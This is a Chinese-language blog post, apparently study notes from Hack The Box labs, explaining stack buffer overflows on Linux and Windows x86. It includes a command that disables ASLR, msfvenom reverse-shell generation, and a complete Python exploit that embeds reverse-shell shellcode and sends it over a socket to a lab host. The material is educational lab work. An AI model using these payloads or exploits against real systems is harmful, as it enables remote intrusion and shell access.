惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

The Register - Security
The Register - Security
美团技术团队
Recent Announcements
Recent Announcements
MongoDB | Blog
MongoDB | Blog
Jina AI
Jina AI
C
Check Point Blog
aimingoo的专栏
aimingoo的专栏
I
InfoQ
S
Securelist
T
Tor Project blog
GbyAI
GbyAI
L
LINUX DO - 热门话题
V
Visual Studio Blog
AWS News Blog
AWS News Blog
The Cloudflare Blog
腾讯CDC
K
Kaspersky official blog
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
Recorded Future
Recorded Future
李成银的技术随笔
W
WeLiveSecurity
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
M
Microsoft Research Blog - Microsoft Research
G
Google Developers Blog
酷 壳 – CoolShell
酷 壳 – CoolShell
Schneier on Security
Schneier on Security
B
Blog
IT之家
IT之家
爱范儿
爱范儿
H
Help Net Security
Simon Willison's Weblog
Simon Willison's Weblog
NISL@THU
NISL@THU
J
Java Code Geeks
博客园 - 聂微东
T
The Exploit Database - CXSecurity.com
Cyberwarzone
Cyberwarzone
博客园 - 叶小钗
MyScale Blog
MyScale Blog
Application and Cybersecurity Blog
Application and Cybersecurity Blog
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
Project Zero
Project Zero
F
Future of Privacy Forum
D
Darknet – Hacking Tools, Hacker News & Cyber Security
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
Hacker News: Ask HN
Hacker News: Ask HN
D
Docker
Apple Machine Learning Research
Apple Machine Learning Research
B
Blog RSS Feed
V
Vulnerabilities – Threatpost

ABB00717

788. Rotated Digits 396. Rotate Function 幫耳機補血! 週刊 做過的夢(旅行) 週刊 Vol.18 週刊 Vol.17 週刊 Vol.16 做過的夢(火箭推進器和追蹤導彈) 部落格聚集地 在 Ubuntu 24.04 中安裝 python2 和 pip2 動態牆 音樂 用 miniflux 和 Cloudflare Tunnel 自架 RSS Reader 關於用了 GCC 擴充功能,而被批評不夠 Clean Code 這檔事 週記 Vol.15 Makefile GDB TwoMillion 週記 Vol.14 Hack The Box ABB00717's Blog 週記 Vol.13 1980. Find Unique Binary String Leetcode 週記 Vol.12 在互聯網上,什麼該說,什麼又不該說? 週記 Vol.8 週記 Vol.7 週記 Vol.6 天才之於一種義務 就算 LLM 能解答所有問題,你也不該放棄學習 書籍 《絕佳時間》 週記 Vol.5 偽深刻的自我解構 Linux 雜項筆記 解決 Ubuntu 待機後喚醒異常的問題 將應用程式新增到 GNOME 的 Activities Overview 週記 Vol.4 筆記 週記 Vol.3 Assembly Language 文章 紀錄 資源 挑戰 週記 Vol.2 部落格該有的東西 週記 Vol.1 數學符號表 Advent of Code Day 8 Advent of Code Day 7 Obsidian 無痛轉成 Blog Advent of Code Day 6
Stack-Based Buffer Overflow
2026-01-18 · via ABB00717

假設你已經對計算機組織有很深的理解了,那很好!一張圖就可以弄懂了。

Source

指令會儲存在記憶體內,其中最重要的是返回地址(Return Address),只要改寫了就可以跳轉到任意位址。

  • 任何試圖寫入 .text 的行為都會直接導致區段錯誤(Segmentation Fault)。
  • Stack Pointer 會由高位址往低位址移動。

現代記憶體保護機制:

  • Canary:在區域變數與回傳位址間插入隨機的祕密數值,因為要覆寫回傳位址,必定會先破壞這個數值。所以,程式在回傳前如果發現不一致,就會強制關閉程式
  • DEF:將記憶體標記唯獨。駭客利用 ROP 繞過這點,把 Shellcode 上傳道可執行空間
  • ASLR:位址空間組態隨機化。駭客可以透過洩漏記憶體位址繞過,但這極大加漏洞利用的難度

所有直接操作記憶體的函式,都是易受攻擊的函式:

  • strcpy
  • gets
  • sprintf
  • scanf
  • strcat

這已經是過時的技術了吧?現在抓記憶體錯誤的工具這麼多,AddressSanitizer, Valgrind ...,為什麼還要學這個?

有的服務還真就這麼過時。更何況,很多進階技巧都是基於這些技巧。就像是你要了解科技發展,你最好也了解一下蒸汽機的歷史。

思路

從攻擊的函式開始,一路覆寫。知道到 Return Address 需要多少偏移量後,在 Executable 的區塊順代注入 Shellcode,並把修改最後的 Return Address 指向 Shellcode 就完成了。

生成偏移量可用 pattern-create,計算可用 pattern-offset,Shellcode 生成可用 msfvenom,之後即可組成一個 Payload 注入 vulnerable 程式輸入,即完成 Buffer Overflow 攻擊。

而在組合語言這章節就有提到,Shellcode 裡不該包含 0x00,我們在生成 Payload 時,也有一些壞字元(Bad Characters)要注意,不同輸入環境會有各異的壞字元,所以先自行篩選。以下是幾個可能利用的輸入:

  • Text Input Fields
  • Opened Files
  • Program Arguments
  • Remote Resources

總之,其實 Buffer Overflows 攻擊大致都遵循以下幾個步驟:

  1. Fuzzing Parameters
  2. Controlling EIP
  3. Identifying Bad Characters
  4. Finding a Return Instruction
  5. Jumping to Shellcode

Linux x86

停用 ASLR

echo 0 > /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space
gcc main.c -o prog -fno-stack-protector -z execstack -m32

實做

$ pattern_create -l <offset>
$ pattern_offset -q <address>
$ run $(python -c 'print "\x55" * (<offset> - 256 - 4) + "\x00\x01\x02\x03\x04\x05...<SNIP>...\xfc\xfd\xfe\xff" + "\x66" * 4')
(gdb) x/<n>xb $esp+<offset> # 看到某個字元消失,就代表它是壞字元
$ msfvenom -p linux/x86/shell_reverse_tcp lhost=127.0.0.1 lport=31337 --format c --arch x86 --platform linux --bad-chars "\x00\x09\x0a\x20" --out shellcode
(gdb) run $(python -c 'print "\x55" * (<offset> - 100 - <shellcode>) + "\x90" * 100 + "<Shellcode>" + "<Addr_to_NOP>"')

可以在 Shellcode 前加上一些 NOP 0x90

Windows x86

一定要在 HTB 提供的 Lab 下做。我用自己的 Win11 虛擬機,防的超嚴,好像漏洞都被擋掉了 xD

推薦使用 x64dbg,並且安裝 ERC 外掛

ERC --bytearr
ERC --pattern c <num>
ERC --pattern o <pattern>
ERC --compare <ESP> <file.bin>

找到 JMP ESP 或是 POP ESP; RET 指令的位址,並把它複寫到 EIP。假設我們得知 offset = 1052 可以複寫 Return Address,並沒有 Bad Characters,且 jmp esp0x0069D2E5

$ msfvenom -l payload | grep windows | grep shell | grep reverse
...SNIP...
    windows/shell_reverse_tcp                                          Connect back to attacker and spawn a command shell
...SNIP...
 
$ msfvenom --payload windows/shell_reverse_tcp --list-options
Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST                      yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port
...SNIP...
 
$ ip a
...SNIP...
3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none
    inet 10.10.15.248/23 brd 10.10.15.255 scope global tun0
...SNIP...
 
$ nc -lvnp 12345
$ msfvenom --payload windows/shell_reverse_tcp LHOST=10.10.15.248 LPORT=12345 -f 'python'
# exploit.py
import socket
from struct import pack
 
IP = "10.129.211.11"
port = 8889
 
def exploit():
	# msfvenom --payload windows/shell_reverse_tcp LHOST=10.10.15.248 LPORT=12345 -f 'python'
	buf =  b""
	buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64"
	buf += b"\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"
	buf += b"\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c"
	buf += b"\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52"
	buf += b"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
	buf += b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49"
	buf += b"\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
	buf += b"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75"
	buf += b"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b"
	buf += b"\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
	buf += b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
	buf += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77"
	buf += b"\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
	buf += b"\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b"
	buf += b"\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
	buf += b"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x0a"
	buf += b"\x0f\xf8\x68\x02\x00\x30\x39\x89\xe6\x6a\x10\x56"
	buf += b"\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c"
	buf += b"\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5"
	buf += b"\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
	buf += b"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01"
	buf += b"\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
	buf += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f"
	buf += b"\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08"
	buf += b"\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
	buf += b"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0"
	buf += b"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"
 
    offset = 1052
    buffer = b"A"*offset
    eip = pack('<L', 0x0069D2E5)
    nop = b"\x90"*32
    payload = buffer + eip + nop + buf
 
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((IP, port))
    s.send(payload)
    s.close()
 
exploit()

更詳細的 Windows 提權可以參考:


參考資料